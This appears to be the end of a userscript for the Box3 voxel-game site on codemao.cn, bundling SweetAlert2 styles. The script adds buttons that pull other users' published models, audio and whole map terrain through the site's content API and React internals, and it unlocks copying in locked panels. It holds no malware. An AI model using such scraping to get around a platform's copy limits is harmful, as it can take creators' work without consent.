.75em}.swal2-file{width:75%;margin-right:auto;margin-left:auto;background:rgba(0,0,0,0);font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:rgba(0,0,0,0);color:inherit;font-size:1.125em}.swal2-radio,.swal2-checkbox{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-radio label,.swal2-checkbox label{margin:0 .6em;font-size:1.125em}.swal2-radio input,.swal2-checkbox input{flex-shrink:0;margin:0 .4em}.swal2-input-label{display:flex;justify-content:center;margin:1em auto 0}.swal2-validation-message{align-items:center;justify-content:center;margin:1em 0 0;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:"!";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:2.5em auto .6em;border:0.25em solid rgba(0,0,0,0);border-radius:50%;border-color:#000;font-family:inherit;line-height:5em;cursor:default;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-warning.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-warning.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .5s}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-info.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-info.swal2-icon-show .swal2-icon-content{animation:swal2-animate-i-mark .8s}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-question.swal2-icon-show{animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-question.swal2-icon-show .swal2-icon-content{animation:swal2-animate-question-mark .8s}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-0.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-0.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-0.25em;left:-0.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{flex-wrap:wrap;align-items:center;max-width:100%;margin:1.25em auto;padding:0;background:rgba(0,0,0,0);font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;flex-shrink:0;width:2em;height:2em;border-radius:2em;background:#2778c4;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#2778c4}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;flex-shrink:0;width:2.5em;height:.4em;margin:0 -1px;background:#2778c4}[class^=swal2]{-webkit-tap-highlight-color:rgba(0,0,0,0)}.swal2-show{animation:swal2-show .3s}.swal2-hide{animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{margin-right:initial;margin-left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@keyframes swal2-toast-show{0%{transform:translateY(-0.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(0.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0deg)}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-0.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-show{0%{transform:scale(0.7)}45%{transform:scale(1.05)}80%{transform:scale(0.95)}100%{transform:scale(1)}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(0.5);opacity:0}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-0.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(0.4);opacity:0}50%{margin-top:1.625em;transform:scale(0.4);opacity:0}80%{margin-top:-0.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0deg);opacity:1}}@keyframes swal2-rotate-loading{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes swal2-animate-question-mark{0%{transform:rotateY(-360deg)}100%{transform:rotateY(0)}}@keyframes swal2-animate-i-mark{0%{transform:rotateZ(45deg);opacity:0}25%{transform:rotateZ(-25deg);opacity:.4}50%{transform:rotateZ(15deg);opacity:.8}75%{transform:rotateZ(-5deg);opacity:1}100%{transform:rotateX(0);opacity:1}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto !important}body.swal2-no-backdrop .swal2-container{background-color:rgba(0,0,0,0) !important;pointer-events:none}body.swal2-no-backdrop .swal2-container .swal2-popup{pointer-events:all}body.swal2-no-backdrop .swal2-container .swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll !important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static !important}}body.swal2-toast-shown .swal2-container{box-sizing:border-box;width:360px;max-width:100%;background-color:rgba(0,0,0,0);pointer-events:none}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-start,body.swal2-toast-shown .swal2-container.swal2-top-left{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-start,body.swal2-toast-shown .swal2-container.swal2-center-left{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%, -50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-start,body.swal2-toast-shown .swal2-container.swal2-bottom-left{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}');
})(sweetalert2_all);
const Swal = sweetalert2_all.exports;
async function waitElement(query) {
let el;
while (true) {
el = document.querySelector(query);
if (el)
return el;
await new Promise(requestAnimationFrame);
}
}
const addCopyButton=`
<div id="copy" style="box-shadow: 0 0 50px 3px #00000038;z-index: 99999997;bottom: 100px;position: fixed;right: 50px;background: RGBA(255,255,255,0.3);padding: 0 20px;border-radius: 5px;height:30px">
<i style="color:lightblue;font-size: 20px;font-family: '黑体';">
<b id="change">复制地形</b>
</i>
</div>
`
const addDownloadButton=`<div><div style="float: left" id="download">
<svg style="font-size: 24px;" class="_2cOHkHbW1-1Jurc2jpRaEl"><!--?xml version="1.0" encoding="UTF-8"?-->
<svg width="22" height="25" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M11.6777 20.271C7.27476 21.3181 4 25.2766 4 30C4 35.5228 8.47715 40 14 40C14.9474 40 15.864 39.8683 16.7325 39.6221" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path>
<path d="M36.0547 20.271C40.4577 21.3181 43.7324 25.2766 43.7324 30C43.7324 35.5228 39.2553 40 33.7324 40C32.785 40 31.8684 39.8683 30.9999 39.6221" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path>
<path d="M36 20C36 13.3726 30.6274 8 24 8C17.3726 8 12 13.3726 12 20" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path>
<path d="M17.0654 30.119L23.9999 37.0764L31.1318 30" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path>
<path d="M24 20V33.5382" stroke="#9b9b9b" stroke-width="4" stroke-linecap="round" stroke-linejoin="round"></path></svg></svg></div>
<p style="float: left;font-size:10px;margin-left:0px;color: #888888;">box3 up</p></div>`
var httpRequest = new XMLHttpRequest()
var _httpRequest = new XMLHttpRequest()
var $httpRequest = new XMLHttpRequest()
httpRequest.open('get','https://shequ.codemao.cn/user/2856172',true)
httpRequest.setRequestHeader("Content-type","application/json")
_httpRequest.open('get','https://shequ.codemao.cn/user/2856172',true)
_httpRequest.setRequestHeader("Content-type","application/json")
$httpRequest.open('get','https://shequ.codemao.cn/user/2856172',true)
$httpRequest.setRequestHeader("Content-type","application/json")
const url=new URL(window.location.href)
const type=url.pathname.match('/(.*?)/')[1]
let Button,where,data,hash,name,result,_hash,szie,blob,core,reactNodeName,box3CoreElement,voxels,v,ar,container,canCopy,rootElement
//let core;
setInterval(async()=>{//5秒执行一次可复制
try{
container = document.getElementsByClassName("ewiWP7xeQi2lL41Slo6EY")[0]//控制台可复制
container.setAttribute("contenteditable","true")
container.addEventListener('keydown', e => {
if (e.code=='KeyC'){
navigator.clipboard.writeText(
window.getSelection().toString())
}
e.preventDefault(e);
});
container = document.getElementsByClassName("_1v70OnBk5qWHiY_wwKmOFQ")[0]//聊天框
container.setAttribute("contenteditable","true")
container.addEventListener('keydown', e => {
if (e.code=='KeyC'){
navigator.clipboard.writeText(
window.getSelection().toString())
};
e.preventDefault(e);
});
container = document.querySelector("#__next__root > div > div.main-page_MainEditor__m_5Aw > div.main-page_gameEditor__YUu_y > div > div.debugPanel_logWrapper__Jcga0.editor-common_scrollbarStyle__S6GxS > div")
//新版控制台
container.setAttribute("contenteditable","true")
container.addEventListener('keydown', e => {
if (e.code=='KeyC'){
navigator.clipboard.writeText(
window.getSelection().toString())
};
e.preventDefault(e);
});
}catch{};
},5000)
setTimeout(async()=>{//延迟 防止页面未刷新时运行
document.designMode='true'
canCopy=document.createElement("style")
canCopy.innerHTML=`::selection{
background-color:lightblue
}`
document.head.appendChild(canCopy)
switch(type){
case 'v':
Button=document.createElement('div')
Button.innerHTML=addDownloadButton
where=document.getElementsByClassName("_1WICvWqK5nvauypwjwCzYJ")[0]
where.appendChild(Button)
document.getElementById("download").addEventListener('click',async()=>{
httpRequest.open('POST', 'https://box3.codemao.cn/api/api/content-server-rpc', true)
data={"type":"get",
"data":{
"type":"id",
"data":{
"type":2,
"isPublic":true,
"contentId":~~url.pathname.replace(url.pathname.match('/(.*?)/')[0],'')
}
}
}
httpRequest.send(JSON.stringify(data))
httpRequest.onreadystatechange=async()=>{
if(httpRequest.readyState !=4)return;
if(httpRequest.status===200&&httpRequest.response){
hash=JSON.parse(await httpRequest.response).data.data.hash
name=JSON.parse(await httpRequest.response).data.data.name
// console.log(JSON.parse(await httpRequest.response))
navigator.clipboard.writeText(hash)
console.log('成功获取到hash ',hash,'\n作品名称为',name)
result=await Swal.fire({
title:"成功获取到hash",
html:`hash: ${hash}<br/>已将Hash复制到剪贴板<br/>`,
cancelButtonText:"关闭",
// confirmButtonText:"下载文件",
// showCancelButton:true,
icon:"info",
}).isConfirmed
console.log('开始下载')
await saveAs(`https://static.box3.codemao.cn/block/${hash}`,name+'.vd')
console.log('结束下载')
}
else{
console.log('发生错误','<',httpRequest.status,'>',httpRequest.statusText)
Swal.fire(
`获取失败`,
`${httpRequest.status} ${httpRequest.statusText}`,
"error"
)
}
}
})
break;
case 'm':
Button=document.createElement('div')
Button.innerHTML=addDownloadButton
where=document.getElementsByClassName("_1WICvWqK5nvauypwjwCzYJ")[0]
where.appendChild(Button)
document.getElementById("download").addEventListener('click',async()=>{
httpRequest.open('POST', 'https://box3.codemao.cn/api/api/content-server-rpc', true)
data={"type":"get",
"data":{
"type":"id",
"data":{
"type":3,
"isPublic":true,
"contentId":~~url.pathname.replace(url.pathname.match('/(.*?)/')[0],'')
}
}
}
httpRequest.send(JSON.stringify(data))
httpRequest.onreadystatechange=async()=>{
if(httpRequest.readyState !=4)return;
if(httpRequest.status===200&&httpRequest.response){
hash=JSON.parse(await httpRequest.response).data.data.hash
name=JSON.parse(await httpRequest.response).data.data.name
console.log(JSON.parse(await httpRequest.response).data.data.hash)
console.log(`将请求https://static.box3.codemao.cn/block/${JSON.parse(await httpRequest.response).data.data.hash}`)
_httpRequest.open('get',`https://static.box3.codemao.cn/block/${hash}`,true)
_httpRequest.send()
_httpRequest.onreadystatechange=async()=>{
// console.log(JSON.parse(await httpRequest.response))
if(_httpRequest.readyState !=4)return;
if(_httpRequest.status===200&&_httpRequest.response){
_hash=JSON.parse(await _httpRequest.response).audioFiles[0].url
//size=JSON.parse(await _httpRequest.response).audioFiles[0].size
navigator.clipboard.writeText(_hash)
console.log('成功获取到hash ',_hash,'\n作品名称为',name)
result=await Swal.fire({
title:"成功获取到hash",
html:`#注:十分抱歉 因为伴雪能力有限没有办法转码了</br>你只能下载完文件后自己<b>调后缀名为.mp3</b></br>hash: ${_hash}<br/>已将Hash复制到剪贴板<br/>`,
cancelButtonText:"关闭",
// confirmButtonText:"下载文件",
// showCancelButton:true,
icon:"info",
}).isConfirmed
console.log('开始下载')
// $httpRequest.open('get',`https://static.box3.codemao.cn/block/${hash}`,true)
// $httpRequest.send()
// $httpRequest.onreadystatechange=async()=>{
// if($httpRequest.readyState!=4)return;
// blob = new Blob([$httpRequest.response], {type: "octet/stream;charset=ANSI"});
// saveAs(blob, name+'.mp3');
// }
// // saveAs(``,name+'.mp3');
open(`https://static.box3.codemao.cn/block/${_hash}`)
console.log('结束下载')
}
else{
console.log('发生错误','<',httpRequest.status,'>',httpRequest.statusText)
Swal.fire(`获取失败`,`${_httpRequest.status} ${_httpRequest.statusText}`,"error")
}
}
}
else{
console.log('发生错误','<',httpRequest.status,'>',httpRequest.statusText)
Swal.fire(`获取失败`,`${httpRequest.status} ${httpRequest.statusText}`,"error")
}
}
})
break;
case 'g':
Button=document.createElement('div')
Button.innerHTML=`<p style="float: left;font-size:3px;margin-left:0px;color: #888888;">
不支持复制</br>有啥不满找吉吉喵理论</p>`
where=document.getElementsByClassName("_1WICvWqK5nvauypwjwCzYJ")[0]
where.appendChild(Button)
break;
case 'p':
box3CoreElement = document.querySelector('#react-container');
reactNodeName = Object.keys(box3CoreElement).filter((v) => v.includes('reactContain'))[0];
core = box3CoreElement[reactNodeName].updateQueue.baseState.element.props.children.props.children.props;
Button=document.createElement('div')
Button.innerHTML=addDownloadButton.replace("#9b9b9b","#ffffff").replace("#9b9b9b","#ffffff").replace("#9b9b9b","#ffffff")
.replace("#9b9b9b","#ffffff").replace("#9b9b9b","#ffffff").replace("#9b9b9b","#ffffff").replace("#888888","#ffffff")
where=document.getElementsByClassName("_3yZMLEB3f5nRSuAJ-yI7f9")[0]
where.appendChild(Button)
document.getElementById("download").addEventListener('click',async()=>{
voxels=[[0,1]]
for (var x = 0; x <= core.state.box3.state.voxel.shape[0]; x++) {
for (var z = 0; z <= core.state.box3.state.voxel.shape[2]; z++) {
for (var y = 0; y <= core.state.box3.state.voxel.shape[1]; y++) {
if(!voxels){
voxels.push([v,1])
continue
}
v=core.state.box3.voxel.getVoxel(x, y, z)
// console.log(voxels,voxels.length-1,v)
if(voxels[voxels.length-1][0]===v){
voxels[voxels.length-1][1]+=1
}
else{
voxels.push([v,1])
}
}}}
console.log(voxels)
navigator.clipboard.writeText(JSON.stringify(voxels))
Swal.fire('复制地图地形',`且用且珍惜</br>地图<b>全部地形已完成复制到剪切板 并使用最新压缩</b>
</br>请先创建一样尺寸的地图</br>然后在创作端输入解压缩代码<b></b></br></br><b>该地图大小为${core.state.box3.state.voxel.shape}</b></br><a href="https://api.bcmcreator.cn/MD/edit/examples/yll.php?k=3&xjm=63299871529974642942" title="如何复制地形?" target="_blank"><strong>如何复制地形?</strong></a>`,"info")
})
break;
case "e":
// Button=document.createElement('div')
// Button.innerHTML=addCopyButton
// where=document.body
// where.appendChild(Button)
// document.getElementById("change").innerHTML="等待进入"
// rootElement = await waitElement("#edit-react");
// document.getElementById("change").innerHTML="复制地形"
// core=rootElement._reactRootContainer._internalRoot.current.updateQueue.baseState.element.props.children.props.children.props
break;
}},2000)
})();
//更新中....